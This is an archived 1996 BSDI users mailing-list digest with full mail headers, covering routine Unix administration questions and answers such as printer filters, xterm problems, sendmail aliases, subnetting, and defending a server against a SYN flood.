-->lp|ps|PostScript|lj4ml|HP LaserJet 4ML:\ >> > :lp=/dev/lp0:sh:mx#0:\ >> > :sd=/var/spool/lpd:\ >> > :lf=/var/log/lpd-errs:\ >> > :af=/dev/null:\ >> > :if=/usr/contrib/lib/lprps/psif:\ >> > :vf=/usr/local/libexec/lpr/null-filter: 'lpr -v /tmp/foo.ps' should work, but you'll still have a problem with foo.txt. If you change the if entry to 'if=/usr/libexec/lpr/txt2ps-filter', then 'lpr /tmp/foo.txt' should work as well. If you don't want to have to specify -v on the command line, you could write your own version of psif which would check if the file begins with "%!PS". If so, send it through the null-filter. If not, send it through txt2ps-filter. -Bill N work with it From VM Fri Nov 8 01:47:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["467" "Thu" "7" "November" "1996" "14:30:12" "EST" "Gregory Frick" "gfrick@mmt.com" nil "14" "DHCP for BSDI??" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA28431 for ; Thu, 7 Nov 1996 14:34:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA14394 for bsdi-users-outgoing; Thu, 7 Nov 1996 14:32:03 -0500 (EST) Message-Id: <9610078474.AA847405812@mmt.com> Precedence: bulk From: gfrick@mmt.com (Frick, Gregory) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: DHCP for BSDI?? Date: Thu, 07 Nov 96 14:30:12 EST I would like to configure a BSDI computer with two NIC's have one obtain an IP address from an ISP that uses DHCP. I would then like to conect the other NIC to a small private TCP/IP network. I need all traffic from the private network to communicate with the ISP using the IP address assigned by the ISP. Any idea's? Do I need to use Windows95 or Windows NT?? Thanks, Greg Frick Waltham, MA From VM Fri Nov 8 01:47:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["934" "Thu" "7" "November" "1996" "10:50:18" "-0800" "Tom Glover" "tomg@boiled.egg.com" nil "24" "xterm - even more - sorry" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA28979 for ; Thu, 7 Nov 1996 14:56:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA14474 for bsdi-users-outgoing; Thu, 7 Nov 1996 14:48:22 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tom Glover Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: xterm - even more - sorry Date: Thu, 7 Nov 1996 10:50:18 -0800 (PST) I guess I wasn't too clear in my original posting. If I remove .Xresources-xterm *and* remove the -geometry definition from the .xinitrc daemon ...... lines then startx will bring up X and open the xterm sessions (albeit the wrong size) If I do not do the above then startx brings up X, opens xterm sessions but I get no prompts. Hitting in either session causes it to exit. If I do the first and bring up X with xterm sessions and then explicitly do a damon xterm -geometry ...... etc. an xterm session opens but no prompt. If I then run "top" I find that xterm is utilizing 90% + of CPU. -- Regards, Tom __________________________________________________________________________ | "The Egg Domain" | "Diplomacy is the art of saying "Good doggie" | | tomg@boiled.egg.com | while searching for a big rock. | | http://www.egg.com/ | | From VM Fri Nov 8 01:47:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1039" "Thu" "7" "November" "1996" "15:13:19" "-0500" "Randy Dickson" "rdickson@sonalysts.com" nil "28" "Arrow keys" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA29527 for ; Thu, 7 Nov 1996 15:20:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA14513 for bsdi-users-outgoing; Thu, 7 Nov 1996 15:13:36 -0500 (EST) X-Sender: rdickson@hatch.sonalysts.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: rdickson@sonalysts.com (Randy Dickson) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Arrow keys Date: Thu, 7 Nov 1996 15:13:19 -0500 Hi, I've got problems using the arrow keys on HP X-Terms and even on windows machines whenever I telnet to my bsdi box. Specifically, they are recoginized. The windows machines always get TERM set to ansi even though they are specified in their own settings as vt100's. The hp seems to set right in that TERM = hp but the arrow keys apparently aren't supported. Any thoughts ? ========================================================================= Randy Dickson - rdickson@sonalysts.com 215 Parkway North Waterford, CT 06385 Work: 203-442-4355 (voice) 203-447-8883 (fax) ========================================================================== "Four thousand throats may be cut in one night by a running man" - Klingon Proverb -------------------------------------------------------------------------- Standard disclaimer. All opinions expressed are purely my own and do not reflect Sonalysts, Inc's opinions except by coincidence. =========================================================================== From VM Fri Nov 8 01:47:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["600" "Thu" "7" "November" "1996" "12:36:50" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "19" "Re: Sendmail Cf" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA00458 for ; Thu, 7 Nov 1996 15:47:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA14592 for bsdi-users-outgoing; Thu, 7 Nov 1996 15:30:11 -0500 (EST) In-Reply-To: <2.2.32.19961107172236.009f601c@mail.intercall.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Percy E Perez cc: bsdi-users@BSDI.COM Subject: Re: Sendmail Cf Date: Thu, 7 Nov 1996 12:36:50 -0800 (PST) > > Hello all, > > does anyone know if sendmail has the ability of purging old mail? What I It only sends the mail - after that another program delivers it to the inboxes, so sendmail is not going to be able to do anything eith already delivered mail. > want to also is forward all incoming messages and forward them to two > different email addresses. I do not want to use .forward, since I would > have to include it in all my user's directories, what I would like to do is > modify my sendmail.cf. > The alias file will do what you want, you don't need to touch sendmail.cf Amy :) From VM Fri Nov 8 01:47:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["311" "Thu" "7" "November" "1996" "16:39:53" "+0000" "Jim Cassata" "jim@web-ex.com" nil "16" "ASA Computers" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA02109 for ; Thu, 7 Nov 1996 16:56:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA14724 for bsdi-users-outgoing; Thu, 7 Nov 1996 16:36:09 -0500 (EST) Message-Id: <199611072212.RAA09112@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM (bsdi-users) Subject: ASA Computers Date: Thu, 7 Nov 1996 16:39:53 +0000 Thank you everyone who recommended to me ASA computers for hardware. http://www.asacomputers.com/ the service, price, expertise, and quality are all excellent Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Fri Nov 8 01:47:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["104" "Thu" "7" "November" "1996" "15:19:29" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "6" "Login control" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA02671 for ; Thu, 7 Nov 1996 17:16:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA14787 for bsdi-users-outgoing; Thu, 7 Nov 1996 17:12:44 -0500 (EST) Message-Id: <199611072219.PAA20759@doctor.nl2k.edmonton.ab.ca> X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Login control Date: Thu, 7 Nov 1996 15:19:29 -0700 (MST) Maties!! I need to control certain users by NOT letting them access certain ttys. How can I do this? From VM Fri Nov 8 01:47:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1840" "Thu" "7" "November" "1996" "15:13:34" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "54" "Re: xterm - even more - sorry " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA02676 for ; Thu, 7 Nov 1996 17:16:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA14795 for bsdi-users-outgoing; Thu, 7 Nov 1996 17:13:54 -0500 (EST) Message-Id: <199611072213.PAA27836@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Thu, 07 Nov 1996 10:50:18 PST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Tom Glover cc: bsdi-users@BSDI.COM Subject: Re: xterm - even more - sorry Date: Thu, 07 Nov 1996 15:13:34 -0700 Tom Glover writes: > >I guess I wasn't too clear in my original posting. > >If I remove .Xresources-xterm *and* remove the -geometry definition from >the .xinitrc daemon ...... lines then startx will bring up X and open the >xterm sessions (albeit the wrong size) > >If I do not do the above then startx brings up X, opens xterm sessions >but I get no prompts. Hitting in either session causes it to exit. > >If I do the first and bring up X with xterm sessions and then explicitly >do a damon xterm -geometry ...... etc. an xterm session opens but no >prompt. If I then run "top" I find that xterm is utilizing 90% + of CPU. > >-- >Regards, >Tom > __________________________________________________________________________ > | "The Egg Domain" | "Diplomacy is the art of saying "Good doggie" | > | tomg@boiled.egg.com | while searching for a big rock. | > | http://www.egg.com/ | | > > Tom: Here's the xterm lines from my .xinitrc. They work fine with -geometry on the command line. xrunclient xterm -sb -geometry 80x12+0+0 -iconic -name "console" -ls -C xrunclient xterm -sb -geometry 80x36+0+0 -name "$HOSTNAME:1" -T "$HOSTNAME:1" -ls xrunclient xterm -sb -geometry 80x36+0-0 -iconic -name "$HOSTNAME:2" -T "$HOSTNAME:2" -ls I would compare the xterm program on your disk with the copy on the distribution CD. $ cksum /usr/X11/bin/xterm 2325398759 131072 /usr/X11/bin/xterm $ cksum /cdrom/usr/X11/bin/xterm 2325398759 131072 /cdrom/usr/X11/bin/xterm If they are not the same # cp -p /cdrom/usr/X11/bin/xterm /usr/X11/bin/xterm -Bill N -- /\ Bill Nestlerode Berkeley Software Design, Inc. /\/ \ billn@bsdi.com 5575 Tech Center Dr. #110 / \ \ 719-593-9445 Colorado Springs, CO 80919 From VM Fri Nov 8 01:47:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["742" "Thu" "7" "November" "1996" "15:26:39" "-0700" "Jim Hribnak" "hribnak@nucleus.com" nil "26" "All Patches installed and now problems arise" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA02950 for ; Thu, 7 Nov 1996 17:20:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA14813 for bsdi-users-outgoing; Thu, 7 Nov 1996 17:21:07 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jim Hribnak Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: All Patches installed and now problems arise Date: Thu, 7 Nov 1996 15:26:39 -0700 (MST) Since Sunday I had to install patches K210-018 - onward becaue someone was SYN flooding our web server and taking it down every time we rebooted the web server.. Since the patch install I have noticed weird things happening (like CPU utilization going through the roof, system rEBOOTS on its own etc) I have a feeling it has something to do with the patches but WHICH one is the question.. I know we are still getting attacked Nov 7 15:07:16 nucleus kernel: packet from 127.71.186.57 to 199.45.65.129 proto 6 received on ef0; expected lo0 I am am getting the above in the messages file quite frequently Does anyone have any suggestions as to if the attacks are causing the unix machine to over load and then reboot?!?!?!?! Jim From VM Fri Nov 8 01:47:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3170" "Thu" "7" "November" "1996" "14:22:51" "-0800" "Tom Glover" "tomg@boiled.egg.com" nil "83" "Re: xterm - even more - sorry " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA02956 for ; Thu, 7 Nov 1996 17:21:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA14824 for bsdi-users-outgoing; Thu, 7 Nov 1996 17:22:58 -0500 (EST) In-Reply-To: <199611072213.PAA27836@tao.bsdi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tom Glover Sender: owner-bsdi-users@lists.gateway.com To: Bill Nestlerode cc: bsdi-users@BSDI.COM Subject: Re: xterm - even more - sorry Date: Thu, 7 Nov 1996 14:22:51 -0800 (PST) Thanks, Bill. I dug around some more and found out some things. I am also getting the dreaded "No control connection for command: Undefined error: 0" when I try to ftp to the box as a valid users. Others have reported that this happened to them after they'd installed Apache 1.1.1 - at least the archives on Nexial report this. When I saw this I remembered that I too installed Apache 1.1.1 a few days ago. The previous postings did not report a fix for the ftp problem. I'm curious as to whether there's a relationship between the ftp problem, the xterm problem and Apache. Its kind of hard to figure but I don't believe in coincidences. BTW I checked everything I could think of with MD5 and xterm etc. etc. checks out OK compared to another box with identical hardware that does not have a problem (I didn't install Apache on it) Quite frankly I'm stuck. On Thu, 7 Nov 1996, Bill Nestlerode wrote: > Tom Glover writes: > > > >I guess I wasn't too clear in my original posting. > > > >If I remove .Xresources-xterm *and* remove the -geometry definition from > >the .xinitrc daemon ...... lines then startx will bring up X and open the > >xterm sessions (albeit the wrong size) > > > >If I do not do the above then startx brings up X, opens xterm sessions > >but I get no prompts. Hitting in either session causes it to exit. > > > >If I do the first and bring up X with xterm sessions and then explicitly > >do a damon xterm -geometry ...... etc. an xterm session opens but no > >prompt. If I then run "top" I find that xterm is utilizing 90% + of CPU. > > > >-- > >Regards, > >Tom > > __________________________________________________________________________ > > | "The Egg Domain" | "Diplomacy is the art of saying "Good doggie" | > > | tomg@boiled.egg.com | while searching for a big rock. | > > | http://www.egg.com/ | | > > > > > Tom: > Here's the xterm lines from my .xinitrc. They work fine with -geometry on the > command line. > > xrunclient xterm -sb -geometry 80x12+0+0 -iconic -name "console" -ls -C > xrunclient xterm -sb -geometry 80x36+0+0 -name "$HOSTNAME:1" -T "$HOSTNAME:1" > -ls > xrunclient xterm -sb -geometry 80x36+0-0 -iconic -name "$HOSTNAME:2" -T > "$HOSTNAME:2" -ls > > I would compare the xterm program on your disk with the copy on the distribution > CD. > > $ cksum /usr/X11/bin/xterm > 2325398759 131072 /usr/X11/bin/xterm > $ cksum /cdrom/usr/X11/bin/xterm > 2325398759 131072 /cdrom/usr/X11/bin/xterm > > If they are not the same > > # cp -p /cdrom/usr/X11/bin/xterm /usr/X11/bin/xterm > > -Bill N > -- > /\ Bill Nestlerode Berkeley Software Design, Inc. > /\/ \ billn@bsdi.com 5575 Tech Center Dr. #110 > / \ \ 719-593-9445 Colorado Springs, CO 80919 > > -- Regards, Tom __________________________________________________________________________ | "The Egg Domain" | "Diplomacy is the art of saying "Good doggie" | | tomg@boiled.egg.com | while searching for a big rock. | | http://www.egg.com/ | | From VM Fri Nov 8 01:47:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["967" "Thu" "7" "November" "1996" "17:44:38" "-0500" "Scott Averbach" "scott@shell.flinet.com" nil "24" "increaseing the size of datasize and stacksize" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA03797 for ; Thu, 7 Nov 1996 17:51:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA14892 for bsdi-users-outgoing; Thu, 7 Nov 1996 17:44:44 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Scott Averbach Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: increaseing the size of datasize and stacksize Date: Thu, 7 Nov 1996 17:44:38 -0500 (EST) I have a program that runs and reads my history file, it trys to load everything into memory...the problem is that it crashes after 64 megs... how do I increase that limit... Maxusers is set to 256 and using unlimit doesnt help.. thanks scott ---/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\--- -/- Scott Averbach -\- Florida Internet Corporation -/- -\- Senior Systems Administrator -/- We are - Voice: 561.615.0001 -\- -/- mail:scott@flinet.com -\- the most - Fax: 561.615.0002 -/- -\- http://www.flinet.com -/- highly rated ISP in Florida! -\- ---/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\--- ---/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\--- -/- The truth is out there -\- C Code, C Code Run, Run -/- -\- anyone know the URL? -/- Code, RUN! PLEASE!!! -\- ---/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\--- From VM Fri Nov 8 01:47:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["931" "Thu" "7" "November" "1996" "18:41:51" "-0500" "Roch Pageau" "rpageau@inexpress.net" nil "28" "ftp problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA05202 for ; Thu, 7 Nov 1996 18:49:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA15106 for bsdi-users-outgoing; Thu, 7 Nov 1996 18:44:18 -0500 (EST) Message-Id: <1.5.4.32.19961107234151.008ac570@204.101.127.2> X-Sender: rpageau@204.101.127.2 X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Roch Pageau Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ftp problems Date: Thu, 07 Nov 1996 18:41:51 -0500 Our customers seem to be having problems downloading files from our ftp site. The connection seems to work ok, it downloads 60-70-90% of the file and tehn just stalls. When this happens you open Eudora or telnet and cannot make any connections to our box, must disconnect and start over. The ftp log looks ok: Nov 7 17:43:18 Vector ftpd[23397]: SYST Nov 7 17:43:18 Vector ftpd[23397]: PASV Nov 7 17:43:19 Vector ftpd[23397]: TYPE Image Nov 7 17:43:19 Vector ftpd[23397]: SIZE /pub/win95/ Nov 7 17:43:19 Vector ftpd[23397]: CWD /pub/win95/ Nov 7 17:43:19 Vector ftpd[23397]: LIST Nov 7 17:44:02 Vector ftpd[23397]: PASV Nov 7 17:44:02 Vector ftpd[23397]: SIZE /pub/win95/n32fr202.exe Nov 7 17:44:02 Vector ftpd[23397]: RETR /pub/win95/n32fr202.exe Nov 7 18:25:23 Vector ftpd[23397]: FTP session closed I've looked at all my manuals but can't seem to find anything to help. Any ideas appreciated????? Thanks Roch From VM Fri Nov 8 01:48:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["471" "Thu" "7" "November" "1996" "16:20:20" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "18" "Re: All Patches installed and now problems arise" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA06024 for ; Thu, 7 Nov 1996 19:13:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA15180 for bsdi-users-outgoing; Thu, 7 Nov 1996 19:13:26 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Jim Hribnak cc: bsdi-users@BSDI.COM Subject: Re: All Patches installed and now problems arise Date: Thu, 7 Nov 1996 16:20:20 -0800 (PST) > > Nov 7 15:07:16 nucleus kernel: packet from 127.71.186.57 to 199.45.65.129 > proto 6 received on ef0; expected lo0 > > > I am am getting the above in the messages file quite frequently > > Does anyone have any suggestions as to if the attacks are causing the unix > machine to over load and then reboot?!?!?!?! > > I'm not sure about the patches causing the reboots, but you can filter out ip addresses to the entire machine with /etc/hosts.deny. Amy :) From VM Fri Nov 8 01:48:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1267" "Thu" "7" "November" "1996" "18:40:33" "-0600" "Chad Scott" "chad@txdirect.net" nil "35" "Re: All Patches installed and now problems arise" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA06855 for ; Thu, 7 Nov 1996 19:45:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA15273 for bsdi-users-outgoing; Thu, 7 Nov 1996 19:41:02 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chad Scott Sender: owner-bsdi-users@lists.gateway.com To: Amy cc: Jim Hribnak , bsdi-users@BSDI.COM Subject: Re: All Patches installed and now problems arise Date: Thu, 7 Nov 1996 18:40:33 -0600 (CST) On Thu, 7 Nov 1996, Amy wrote: > > Nov 7 15:07:16 nucleus kernel: packet from 127.71.186.57 to 199.45.65.129 > > proto 6 received on ef0; expected lo0 > > > > > > I am am getting the above in the messages file quite frequently > > > > Does anyone have any suggestions as to if the attacks are causing the unix > > machine to over load and then reboot?!?!?!?! > > > > > I'm not sure about the patches causing the reboots, but you can filter > out ip addresses to the entire machine with /etc/hosts.deny. > > Amy :) Actually, hosts.deny only filters out addresses coming into the tcp wrappers (used with inetd). What it looks like to me is he is using his BSD box as a router and he's got addresses that start with 127.* on a segment other than localhost. 127.*.*.* should ONLY be on a loopback. I would use 10.*.*.* for local addresses since they are specifically reserved for that. If you don't have 127.*.*.* on your network, something somewhere thinks it is 127.71.186.57... Typo maybe? Chad Scott | chad@txdirect.net Systems Administrator | Voice 210-308-9800 Internet Direct, Incorporated | FAX 210-308-9240 ---------------------------------------------------- Finger chad@txdirect.net for PGP Public Key From VM Fri Nov 8 01:48:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1470" "Fri" "8" "November" "1996" "11:45:05" "+1100" "Ross Wheeler" "rossw@albury.net.au" nil "35" "Tracking Usage" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA06862 for ; Thu, 7 Nov 1996 19:46:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA15290 for bsdi-users-outgoing; Thu, 7 Nov 1996 19:45:29 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ross Wheeler Sender: owner-bsdi-users@lists.gateway.com To: BSDI USERS LIST Subject: Tracking Usage Date: Fri, 8 Nov 1996 11:45:05 +1100 (EST) I have a desire to monitor usage of our links to determine where bandwidth is being used. Not so much "what" as "by who". I've a BSDI box running a terminal server. There are accounts with static IPs, and dynamic IPs. There are also, on the same network, other machines with static IPs. All pass through one router to the "outside world", so all are accessable on one ethernet segment. The complication comes when one address (say xx.xx.xx.32, which belongs to a particular modem in the pool) may be used by any number of users. (only one at a time!). tcpdump, output to a file and analysed could be pressed into operation, but it seems horribly cumbersome. What I really want is a report that shows (over a given timeframe: day/week/month?) ------ Local network ----- ----- Remote networks ----- Userid Bytes Sent Bytes Recd Bytes Sent Bytes Recd Where there is no Userid (like a host connected to the local network) Machine name or IP address would be fine. I'm not particularly worried about it being accurate to the last byte, a good indicator will do. If it's 100% accurate, that's better though :-) I'm sure I saw something on the list 3 or 4 months ago, but can't find it on nexial, or on Altavista. I didn't have a need for it at the time, so didn't save a copy of the message either :-( If someone has suggestions of where to look, uses it (or wrote one of their own) please let me know! Regards, RossW From VM Fri Nov 8 01:48:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1309" "Thu" "7" "November" "1996" "19:54:08" "-0400" "Dean Anderson" "dean@av8.com" nil "29" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA06874 for ; Thu, 7 Nov 1996 19:52:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA15311 for bsdi-users-outgoing; Thu, 7 Nov 1996 19:50:44 -0500 (EST) X-Authentication-Warning: mustang.oec.com: mail set sender to using -f X-Sender: dean@mail.oec.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: dean@av8.com (Dean Anderson) Sender: owner-bsdi-users@lists.gateway.com To: "Kevin Sellars" , info-bsdi-users@uunet.uu.net Subject: Re: subnetting class c address Date: Thu, 7 Nov 1996 19:54:08 -0400 At 1:18 PM 11/7/96, Kevin Sellars wrote: >I am interested in subnetting one of my class c ranges. I understand that >I can cut this into four 62 host networks by borrowing 2 bits of the host >number. What I don't understand is how this whole thing is directed >through routing. If anyone has any info, or URL's to sites that have >info, please email me directly. You set up a subnet mask. Class C has a 24bit mask. You can change the netmask to include more bits in the network part. However, you only get two 62 host networks without creating broadcast ambiguities. 0xffffffc0 is the netmask for interfaces on this subnetted network. subnet 0 can't (shouldn't) be used (x.y.z.0) could be sent to all subnets or just subnet 0. subnet 3 can't (shouldn't) be used. (x.y.z.255) could be sent to all subnets or just subnet 3. Subnet 1 and Subnet 2 can be assigned without ambiguity. Dean Anderson dean@aV8.com | dean@lpf.org We make technology fly! See us for | Stop Software Patents before they Networking, Firewalls, WWW and more. | stop you! Contact me for more info Contact me for services and rates | or send mail to lpf@lpf.org President | President Plain Aviation,Inc | League for Programming Freedom From VM Fri Nov 8 01:48:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1154" "Thu" "7" "November" "1996" "20:11:15" "-0500" "Sam Brown" "root@ns2.clever.net" nil "37" "Re: All Patches installed and now problems arise" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA07412 for ; Thu, 7 Nov 1996 20:12:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA15336 for bsdi-users-outgoing; Thu, 7 Nov 1996 20:12:32 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Jim Hribnak cc: bsdi-users@BSDI.COM Subject: Re: All Patches installed and now problems arise Date: Thu, 7 Nov 1996 20:11:15 -0500 (EST) Why dont you put an acl on 127.* on your router, seems easy enough. You might also review the patches, as most copies of the syn flooders keep a static SYN number (ie S 31337:31337) and when ip spoofing, follow a sequential host side port number (up or down increment by 1). I spose i could haqur this patch to help On Thu, 7 Nov 1996, Jim Hribnak wrote: > > > Since Sunday I had to install patches K210-018 - onward becaue someone was > SYN flooding our web server and taking it down every time we rebooted the > web server.. > > Since the patch install I have noticed weird things happening (like CPU > utilization going through the roof, system rEBOOTS on its own etc) > > I have a feeling it has something to do with the patches but WHICH one is > the question.. I know we are still getting attacked > > Nov 7 15:07:16 nucleus kernel: packet from 127.71.186.57 to 199.45.65.129 > proto 6 received on ef0; expected lo0 > > > I am am getting the above in the messages file quite frequently > > Does anyone have any suggestions as to if the attacks are causing the unix > machine to over load and then reboot?!?!?!?! > > > Jim > > > From VM Fri Nov 8 01:48:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["694" "Fri" "8" "November" "1996" "09:07:41" "+0800" "ff@public.fz.fj.cn" "ff@public.fz.fj.cn" nil "19" "Re: subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA07417 for ; Thu, 7 Nov 1996 